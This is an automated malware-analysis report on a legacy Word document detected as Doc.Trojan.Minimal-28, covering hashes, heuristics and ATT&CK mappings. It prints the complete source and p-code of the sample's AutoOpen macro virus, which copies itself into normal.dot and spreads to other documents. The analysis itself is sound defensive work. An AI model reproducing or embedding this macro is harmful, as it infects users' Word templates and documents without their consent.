Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa964810fc62e34b…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-01-26 14:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4158c58568f4fc8b07925dfde6bebbd4 SHA-1: 62897ea1fe3e7a2f2c6cd6fc10052dd6543517c2 SHA-256: aa964810fc62e34bfd6452d367fc249f08623fbe34782ed244edabfef3388275
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a VBA macro that executes automatically upon opening (AutoOpen). The script attempts to copy itself to the default template 'normal.dot', which is a common technique for establishing persistence and spreading malware. The heuristic firings for legacy WordBasic and VBA macros, along with the AutoOpen detection, strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-28
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3699 bytes
SHA-256: d31f2723397615d0a21c2116359d8cd82a5f009c1eb4a3cc13df1158cf33bf7f
Detection
ClamAV: Doc.Trojan.Minimal-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"

Public Sub MAIN()
Dim a$
Dim b$
Dim c$
Dim b_ As Object
a$ = "autoopen"
b$ = WordBasic.[FileName$]()
c$ = WordBasic.[DefaultDir$](2) + "\normal.dot"
Dim a_ As Object: Set a_ = WordBasic.DialogRecord.Organizer(False)
Set a_ = WordBasic.CurValues.Organizer
a_.Copy = 1
a_.Tab = 3
a_.Name = a$
a_.Source = b$
a_.Destination = c$
On Error Resume Next
WordBasic.Organizer a_
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
If WordBasic.CountMacros(1) = 0 Then
a_.Source = c$
a_.Destination = b$
WordBasic.Organizer a_
Set b_ = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.ScreenUpdating
WordBasic.DisableAutoMacros
WordBasic.FileOpen c$
Set b_ = WordBasic.CurValues.FileSaveAs
WordBasic.FileClose 2
WordBasic.DisableAutoMacros 0
b_.Name = WordBasic.[FileName$]()
WordBasic.FileSaveAs b_
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/2039f7167dcb4f92bece730708e5f48a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoopen - 2305 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	Dim 
' 	VarDefn c
' Line #5:
' 	Dim 
' 	VarDefn b_ (As Object)
' Line #6:
' 	LitStr 0x0008 "autoopen"
' 	St a$ 
' Line #7:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St B$ 
' Line #8:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x000B "\normal.dot"
' 	Add 
' 	St c$ 
' Line #9:
' 	Dim 
' 	VarDefn a_ (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd Organizer 0x0001 
' 	Set a_ 
' Line #10:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd Organizer 
' 	Set a_ 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld a_ 
' 	MemSt Copy 
' Line #12:
' 	LitDI2 0x0003 
' 	Ld a_ 
' 	MemSt Text 
' Line #13:
' 	Ld a$ 
' 	Ld a_ 
' 	MemSt New 
' Line #14:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #15:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #16:
' 	OnError (Resume Next) 
' Line #17:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #18:
' 	LitDI2 0x0000 
' 	ParamNamed GlobalDotPrompt 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsOptionsSave 0x0001 
' Line #19:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #21:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #22:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #23:
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set b_ 
' Line #24:
' 	Ld WordBasic 
' 	ArgsMemCall ScreenUpdating 0x0000 
' Line #25:
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0000 
' Line #26:
' 	Ld c$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileOpen 0x0001 
' Line #27:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd FileSaveAs 
' 	Set b_ 
' Line #28:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0001 
' Line #29:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #30:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	Ld b_ 
' 	MemSt New 
' Line #31:
' 	Ld b_ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	EndSub